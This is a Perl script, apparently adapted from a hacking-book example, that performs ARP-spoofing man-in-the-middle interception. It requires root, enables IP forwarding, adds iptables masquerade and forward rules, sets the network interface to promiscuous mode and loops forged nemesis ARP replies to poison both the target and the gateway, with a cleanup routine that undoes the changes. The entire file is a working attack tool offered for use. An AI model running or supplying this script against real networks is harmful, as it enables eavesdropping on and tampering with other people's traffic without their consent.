#!/usr/bin/perl
#
# Author: Jamie Levy
#
# Modified from Jon Erickson's script
#   Modifies IPtables rules to allow ipforwarding
#      and also enables ipforwarding
#   As well as a few more tweaks I felt the script needed
# 
# You must install Nemesis: http://nemesis.sourceforge.net/
#
# arpspoof.pl device target gateway
#
#
#       This program is free software; you can redistribute it and/or
#       modify it under the terms of the GNU General Public License
#       as published by the Free Software Foundation; either version
#       2 of the License, or (at your option) any later version.
#


$SIG{INT} = \&my_init_handler;

$usage = "Usage: $0 device target_IP gateway_IP\n";


$whoami = qx[/usr/bin/whoami];
chomp($whoami);

if( $whoami ne "root" ){
	die "No... $whoami, you've gotta be r00t man...\n";
}

$nemesis = qx[/usr/bin/which nemesis];
if($nemesis !~ "nemesis") {
    die "nemesis must be installed to play...\n";
}

if(@ARGV == 3){
	$dev = shift(@ARGV);
	$dest = shift(@ARGV);
	$gw  = shift(@ARGV);
}else{
	die $usage;
}


if(($gw . "." . $dest) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/){
	die $usage;
}

# some variables to reduce typing:

$iptables = "/sbin/iptables";
$echo1 = "/proc/sys/net/ipv4/ip_forward";
$echo2 = "/proc/sys/net/ipv4/conf/all/send_redirects";
$list = "$iptables -L -n -v";
$masq = "$iptables -t nat -A POSTROUTING -o $dev -j MASQUERADE";
$unmasq = "$iptables -t nat -D POSTROUTING -o $dev -j MASQUERADE";

$fwd1 = "FORWARD -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT";
$icmp = "FORWARD  -p icmp --icmp-type any -j ACCEPT";
$lo = "FORWARD -i lo -j ACCEPT";
$fwd4 = "FORWARD -o $dev -j ACCEPT";

# end variables

print "turning on packet forwarding as a precaution...\n";
print "modprobe iptable_nat\n";
system("/sbin/modprobe iptable_nat");
print "echo 1 > $echo1\n";
system("echo 1 > $echo1");
print "echo 0 >  $echo2\n";
system("echo 0 >  $echo2");
sleep(2);

print "Changing iptables to redirect traffic...\n";
print "Before:\n************************************************\n";
system($list);
print "************************************************\n";

system($masq);
system("$iptables -I $fwd1");
system("$iptables -I $fwd4");
system("$iptables -I $lo");
system("$iptables -I $icmp");

sleep(4);
system("clear");

print "After:\n************************************************\n";
system($list);
print "************************************************\n";

sleep(4);
system("clear");

print "\nsetting promiscuous mode: \nifconfig $dev promisc\n\n";
system("/sbin/ifconfig $dev promisc");


@mymac = split(" ", qx [ /sbin/ifconfig $dev ] );
$me = $mymac[4];
print "[*] Your MAC: $me\n";

print "Getting target info...\n";
system ("ping -q -c 1 -w 1 $gw > /dev/null");
system ("ping -q -c 1 -w 1 $dest > /dev/null");

@temp = split(" ", qx{/usr/sbin/arp -na $gw});
$gw_mac = $temp[3];
if($gw_mac !~ /^([a-fA-F0-9]{2}\:){5}[a-fA-F0-9]{2}$/){
	system("clear");
	&cleanup("[!!] FAILED: MAC of $gw not found!\n[*] RESETTING...\n");
	die("[!!] FAILED: MAC of $gw not found... \n");
}

print "[*] Gateway: $gw_mac\n";

@temp = split(" ", qx{/usr/sbin/arp -na $dest});
$dest_mac = $temp[3];
if($dest_mac !~ /^([a-fA-F0-9]{2}\:){5}[a-fA-F0-9]{2}$/){
    system("clear");
	&cleanup("[!!] FAILED: MAC of $dest not found!\n[*] RESETTING...\n");
    die("[!!] FAILED: MAC of $dest not found... \n");
}
print "[*] Destination: $dest_mac\n";



sub header{
	sleep(2);
	system(clear);

	print "============================================\n";
	print "==============  Ready to go!  ==============\n";
	print "       Gateway -->  you  <-- Target \n";
	print "Gateway:\t$gw_mac\nYou:\t\t$me\nTarget:\t\t$dest_mac\n";
	print "============================================\n";
	print "============================================\n";
}


&header();

while(1){
	print "Redirecting traffic to $gw_mac --> $me <-- $dest_mac\n";
	system("nemesis arp -r -d $dev -S $gw -D $dest -h $me -m $dest_mac -H $me -M $dest_mac");
	system("nemesis arp -r -d $dev -S $dest -D $gw -h $me -m $gw_mac -H $me -M $gw_mac");
	sleep 10;
}

sub cleanup{
	print "@_\n";
 	system("/sbin/ifconfig $dev -promisc");
        system("nemesis arp -r -d $dev -S $gw -D $dest -h $gw_mac -m $dest_mac -H $gw_mac -M $dest_mac");
        system("nemesis arp -r -d $dev -S $dest -D $gw -h $dest_mac -m $gw_mac -H $dest_mac -M $gw_mac");
	sleep(1);
	system("nemesis arp -r -d $dev -S $gw -D $dest -h $gw_mac -m $dest_mac -H $gw_mac -M $dest_mac");
        system("nemesis arp -r -d $dev -S $dest -D $gw -h $dest_mac -m $gw_mac -H $dest_mac -M $gw_mac");
        system("$unmasq");
        system("$iptables -D $fwd1");
        system("$iptables -D $icmp");
        system("$iptables -D $lo");
        system("$iptables -D $fwd4");

        system("$list");
        print "echo 0 > $echo1\n";
        system("echo 0 > $echo1");
        print "echo 1 >  $echo2\n";
        system("echo 1 >  $echo2");
}


sub my_init_handler{
	&cleanup("Putting things back to normal and exiting...\n");

	die "Please play again sometime....\n";
}
